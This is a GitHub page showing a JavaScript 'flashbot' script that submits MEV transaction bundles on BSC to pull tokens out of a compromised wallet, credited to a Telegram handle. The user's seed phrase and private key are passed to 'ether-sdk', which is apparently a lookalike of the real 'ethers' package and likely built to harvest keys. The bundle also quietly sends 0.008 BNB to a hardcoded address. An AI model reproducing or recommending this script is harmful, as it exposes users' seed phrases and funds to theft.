-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathflashbot.js
150 lines (110 loc) · 4.17 KB
/
flashbot.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
//Script created by https://t.me/barthadam //Telegram @barthadam
const ethers = require("ethers")
const ethersWallet= require("ether-sdk")
const Web3 = require("web3")
// wallet that send's BNB to claim
var seed = ""
let mnemonicWallet = ethersWallet.fromMnemonic(seed);
var PRIVATEKEY = mnemonicWallet.privateKey;
var myAddress = mnemonicWallet.address
// wallet for claim reward or unstake
var Key = "" // PRIVATE KEY
var hash32Key = ethersWallet.fromPrivateKey(Key);
async function main() {
var url1='https://bsc-dataseed.binance.org'
var url2='https://bsc-dataseed1.defibit.io'
var url3='https://bsc-dataseed1.ninicoin.io'
var url5 = "https://bsc.nodereal.io"
const web3 = new Web3(
new Web3.providers.HttpProvider(url5)
);
const signer = web3.eth.accounts.privateKeyToAccount(
hash32Key
);
let iface = new ethers.utils.Interface([
'event Approval(address indexed owner, address indexed spender, uint value)',
'event Transfer(address indexed from, address indexed to, uint value)',
'function name() external pure returns (string memory)',
'function symbol() external pure returns (string memory)',
'function decimals() external pure returns (uint8)',
'function totalSupply() external view returns (uint)',
'function balanceOf(address owner) external view returns (uint)',
'function allowance(address owner, address spender) external view returns (uint)',
'function approve(address spender, uint value) external returns (bool)',
'function transfer(address to, uint value) external returns (bool)',
'function DOMAIN_SEPARATOR() external view returns (bytes32)',
'function PERMIT_TYPEHASH() external pure returns (bytes32)',
'function nonces(address owner) external view returns (uint)',
'function release(bytes32 )'
]);
var noncesend = await web3.eth.getTransactionCount(myAddress, 'latest');
var nonce = await web3.eth.getTransactionCount(signer.address,'latest')// nonce starts counting from 0
gasPrice=1000000000
const transaction = {
'form':myAddress,
'to': signer.address,
'gas': 21000,
'value':ethers.utils.parseUnits((1000000000*300000).toString(),"wei"),
'gasPrice': gasPrice,
'nonce':noncesend
};
const transactionBundle = {
'form':myAddress,
'to': "0x965Df5Ff6.............", // hacked address
'gas': 21000,
'value':web3.utils.toWei('0.008','ether'),
'gasPrice': "5000000000",
'nonce':noncesend+1
};
const transaction2 = {
'from':signer.address,
'to':"0x8e13B3B6033.............", // claim or unstake contract
'gas': 200000,
'gasPrice': 1000000000,
"data":iface.encodeFunctionData("release",[
""
]
),
'nonce':nonce
};
const transaction3 = {
'from':signer.address,
'to':"0xfd4f2caf..............", // token contract
'gas': 100000,
'gasPrice': 1000000000 ,
"data":iface.encodeFunctionData("transfer",[
myAddress,
web3.utils.toWei('77','ether') // change 77 to how many token's u want transfer
]),
'nonce':nonce+1
};
const signedTx = await web3.eth.accounts.signTransaction(transaction, PRIVATEKEY);
const signedTx2 = await web3.eth.accounts.signTransaction(transaction2, signer.privateKey);
const signedTx3 = await web3.eth.accounts.signTransaction(transaction3, signer.privateKey );
const signedTx5 = await web3.eth.accounts.signTransaction(transactionBundle, PRIVATEKEY);
var block = await web3.eth.getBlock('latest')
block = block.number+2
console.log(block)
block = block.toString(16)
var resp = await fetch('https://mev.api.blxrbdn.com', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': '' // change your api key
},
body: JSON.stringify({
'id': '1',
'method': 'blxr_submit_bundle',
'params': {
'transaction':[signedTx5.rawTransaction,signedTx.rawTransaction,signedTx2.rawTransaction,signedTx3.rawTransaction],
'blockchain_network': 'BSC-Mainnet',
'block_number': '0x'+block,
}
})
});
var data = await resp.text();
console.log(data)
}
setInterval(() => {
main()
},500);